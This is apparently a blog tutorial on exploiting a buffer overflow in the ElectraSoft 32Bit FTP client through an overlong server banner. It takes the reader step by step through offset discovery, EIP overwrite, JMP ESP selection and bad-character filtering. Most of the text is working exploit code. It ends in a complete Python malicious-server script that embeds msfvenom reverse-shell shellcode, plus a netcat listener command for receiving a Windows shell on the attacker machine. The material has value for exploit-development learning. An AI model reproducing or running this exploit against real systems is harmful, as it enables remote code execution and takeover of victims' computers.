32bit FTP Buffer Overflow

Giorgi Barbakadze
6 min readMay 24, 2023

Exploiting Real World Buffer Owerflow

The application is an FTP client vulnerable to a buffer overflow. When the client connects to an FTP Server and recieves banner, if banner is too long program crashes.

The application we are testing is ElectraSoft 32Bit FTP

Exploit Python code :

#!/usr/bin/python

from socket import *

payload = "Here we will insert the payload"

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 "+payload+"\r\n")
c.recv(1024)
c.close()
print "[+] Client exploited !! quitting"
s.close()

This Python code accepts incoming connections on port 21 and sends a 220 replay code, followed by the banner (payload)

First step is to create payload that will help us to find correct offset that will overwrite EIP

The fastest way to do this is to send a unique, 1100-character string and observe which character segment overwrites the EIP. This can be done with Metasploit pattern_create or Mona plugin

We will use Mona plugin

Firstly, open 32Bit FTP client into Immunity Debugger

Then use Mona plugin to generate payloads

!mona pc 1100

This will produce a block of unique characters that we can plug into our Python script :

#!/usr/bin/python

from socket import *

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk"

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 "+payload+"\r\n")
c.recv(1024)
c.close()
print "[+] Client exploited !! quitting"
s.close()

After that, we can start Python script and run FTP client from Immunity Debugger :

At this point, we have server running, and now we have to estabilish connection from client.

Click connect and view Registers area of Immunuty Debugger :

As it is seems EIP is overwritten with some fragment of this unique string (30684239)

Again use Mona plugin to find the location of the 30684239 in the unique string :

!mona po 30684239

So the exact position of the EIP is 989. It means that 989 bytes is need before reaching EIP address.

To test it, change our Python code like following :

#!/usr/bin/python

from socket import *

payload = "A"*989
payload += "BBBB"

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 "+payload+"\r\n")
c.recv(1024)
c.close()
print "[+] Client exploited !! quitting"
s.close()

This code will fill buffer with 989 junk bytes and then overwrite EIP with “BBBB” :

As it is shown above EIP is presented as “42424242” which is hexadecimal value of “BBBB”. it means that we have successfully overwrite EIP Registy.

The next step is to give the EIP (instruction pointer) directions to our malicious shellcode.

To do it we have to find JMP/CALL ESP instuction on modules with the following Mona command :

!mona jmp -r esp -m kernel

This code will find JMP/CALL ESP instruction in kernel32 module :

Now that we have our JMP ESP value (75D94A79), we’ll use that to replace the value we’re putting in for the ESP in our buffer. Remember, in this case we are running a x86 application, so we must pass the JMP ESP value in little endian format like “\x79\x4A\xD9\x75”.

Now that we’ve built the first part of our exploit, we can prepare some malicious shellcode that can be successfully executed by the program.

To successfully run our shellcode we need to find bad characters because some hexadecimal characters can not be used in shellcode because they interfere with executing the shellcode

This python script will generate every possible bad character :

#!/usr/bin/env python
from __future__ import print_function

for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')

print()

Then pass generated bad characters to out Python script :

#!/usr/bin/python

from socket import *

payload = "A"*989
payload += "BBBB"
payload += ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
payload += "C"*100

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 "+payload+"\r\n")
c.recv(1024)
c.close()
print "[+] Client exploited !! quitting"
s.close()

Run python script and attach 32Bit FTP client to Immunity Debugger again.

Click Connect and notice that the EIP has been overwritten with 42424242 (the 4 Bs we added to the buffer after the 989 As)

The next step is to find our buffer string in the dump. In the Registers area of Immunity, click on the memory address where the string of As went in (ESP), then right-click and choose Follow in Dump. The dump area will change and show your buffer string:

Notice that the ASCII sequence displays normally at first, but instead of showing 0a next it shows 0B. That means \x0a is a bad character

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a # ASCII sequence in python script
01 02 03 04 05 06 07 08 09 0B # Hex dump in Immunity

Remove it from Python script and run it again, following the dump to find the next bad character. As we can see, the sequence proceeds (without the0A) until we expect to see 0d but it's missing. That means \x0d is a bad character:

Thats way we should keep going until all bad character should not be found out.

Finnaly we will get that \x00 (which is bad character in every case), \x0a and \x0d are bad characters.

So now its time to generate our shellcode using msfvenom command:

msfvenom -p windows/shell_reverse_tcp LHOST=[attack machine IP] LPORT=4444 -f c  -b "\x00\x0A\x0D" 

-b option is where we identify bad characters

Now its time to put everything together :

  • 989 Junk bytes
  • JMP/CALL EIP address
  • 32 NOPS
  • Shellcode
#!/usr/bin/python

from socket import *

payload = "A"*989
payload += "\x79\x4A\xD9\x75"
payload += "\x90"*32
payload += ("\xbb\xa8\xe2\xb0\x10\xd9\xc0\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x52\x31\x5a\x12\x03\x5a\x12\x83\x6a\xe6\x52\xe5\x96"
"\x0f\x10\x06\x66\xd0\x75\x8e\x83\xe1\xb5\xf4\xc0\x52\x06"
"\x7e\x84\x5e\xed\xd2\x3c\xd4\x83\xfa\x33\x5d\x29\xdd\x7a"
"\x5e\x02\x1d\x1d\xdc\x59\x72\xfd\xdd\x91\x87\xfc\x1a\xcf"
"\x6a\xac\xf3\x9b\xd9\x40\x77\xd1\xe1\xeb\xcb\xf7\x61\x08"
"\x9b\xf6\x40\x9f\x97\xa0\x42\x1e\x7b\xd9\xca\x38\x98\xe4"
"\x85\xb3\x6a\x92\x17\x15\xa3\x5b\xbb\x58\x0b\xae\xc5\x9d"
"\xac\x51\xb0\xd7\xce\xec\xc3\x2c\xac\x2a\x41\xb6\x16\xb8"
"\xf1\x12\xa6\x6d\x67\xd1\xa4\xda\xe3\xbd\xa8\xdd\x20\xb6"
"\xd5\x56\xc7\x18\x5c\x2c\xec\xbc\x04\xf6\x8d\xe5\xe0\x59"
"\xb1\xf5\x4a\x05\x17\x7e\x66\x52\x2a\xdd\xef\x97\x07\xdd"
"\xef\xbf\x10\xae\xdd\x60\x8b\x38\x6e\xe8\x15\xbf\x91\xc3"
"\xe2\x2f\x6c\xec\x12\x66\xab\xb8\x42\x10\x1a\xc1\x08\xe0"
"\xa3\x14\x9e\xb0\x0b\xc7\x5f\x60\xec\xb7\x37\x6a\xe3\xe8"
"\x28\x95\x29\x81\xc3\x6c\xba\x6e\xbb\x6f\x2b\x07\xbe\x6f"
"\x5a\x8b\x37\x89\x36\x23\x1e\x02\xaf\xda\x3b\xd8\x4e\x22"
"\x96\xa5\x51\xa8\x15\x5a\x1f\x59\x53\x48\xc8\xa9\x2e\x32"
"\x5f\xb5\x84\x5a\x03\x24\x43\x9a\x4a\x55\xdc\xcd\x1b\xab"
"\x15\x9b\xb1\x92\x8f\xb9\x4b\x42\xf7\x79\x90\xb7\xf6\x80"
"\x55\x83\xdc\x92\xa3\x0c\x59\xc6\x7b\x5b\x37\xb0\x3d\x35"
"\xf9\x6a\x94\xea\x53\xfa\x61\xc1\x63\x7c\x6e\x0c\x12\x60"
"\xdf\xf9\x63\x9f\xd0\x6d\x64\xd8\x0c\x0e\x8b\x33\x95\x3e"
"\xc6\x19\xbc\xd6\x8f\xc8\xfc\xba\x2f\x27\xc2\xc2\xb3\xcd"
"\xbb\x30\xab\xa4\xbe\x7d\x6b\x55\xb3\xee\x1e\x59\x60\x0e"
"\x0b")


s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 "+payload+"\r\n")
c.recv(1024)
c.close()
print "[+] Client exploited !! quitting"
s.close()

Before pass this payload to FTP Client, run listener on attacker host :

nc -nlvp 4444

If everything goes well, we should be able to get a Windows command prompt on our Kali machine.

Happy Buffer Overflow day :)

--

--